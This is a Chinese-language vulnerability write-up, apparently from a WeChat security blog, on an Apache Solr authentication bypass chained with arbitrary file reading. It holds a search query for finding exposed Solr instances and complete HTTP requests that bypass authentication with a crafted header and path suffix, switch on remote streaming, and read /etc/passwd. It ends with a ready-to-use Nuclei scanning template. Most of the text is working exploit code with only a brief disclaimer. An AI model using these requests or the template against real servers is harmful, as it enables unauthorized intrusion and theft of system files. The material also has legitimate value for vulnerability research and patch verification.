ApacheSolr是一个开源的企业级搜索平台,构建在 Apache Lucene 之上,提供了强大的全文搜索、实时索引和分布式搜索能力。该软件存在认证绕过漏洞,配合之前爆出的任意文件读取漏洞可实现任意文件读取
漏洞信息
混子Hacker
01
资产测绘
app="APACHE-Solr"
混子Hacker
02
漏洞复现
GET /solr/admin/cores:/admin/info/key?indexInfo=false&wt=json HTTP/1.1Host:SolrAuth: test
利用绕过身份验证,获取core名称
POST /solr/core名称/config:/admin/info/key HTTP/1.1Host:SolrAuth: testContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82Safari/537.36Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6Connection: close{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
修改core配置
GET /solr/core名称/debug/dump:/admin/info/key?param=ContentStreams&stream.url=file:///etc/passwd HTTP/1.1Host:SolrAuth: testUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6Connection: close
读取文件
混子Hacker
03
Nuclei Poc
id: solr-unauth-filereadinfo:name: solr认证绕过导致任意文件读取漏洞author: Thomasseverity: criticalreference: nonemetadata:: app="APACHE-Solr"tags: solr, filereadrequests:raw:|-GET /solr/admin/cores:/admin/info/key?indexInfo=false&wt=json HTTP/1.1Host: {{Hostname}}: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/119.0: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2: gzip, deflate|POST /solr/{{core}}/config:/admin/info/key HTTP/1.1Host: {{Hostname}}: application/jsonAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6:{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}|GET /solr/{{core}}/debug/dump:/admin/info/key?param=ContentStreams&stream.url=file:///etc/passwd HTTP/1.1Host: {{Hostname}}Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9: gzip, deflate: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6Connection: closeextractors:type: regexinternal: truename: coregroup: 1regex:'"name":"(.*?)"': andmatchers:type: statusstatus:200type: regexregex:"root:.*:0:0:"
<<< END >>>
原创文章|转载请附上原文出处链接
更多漏洞|关注作者查看
作者|混子Hacker
原文始发于微信公众号(混子Hacker):【漏洞复现】Apache-Solr身份认证绕过和任意文件读取
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-






评论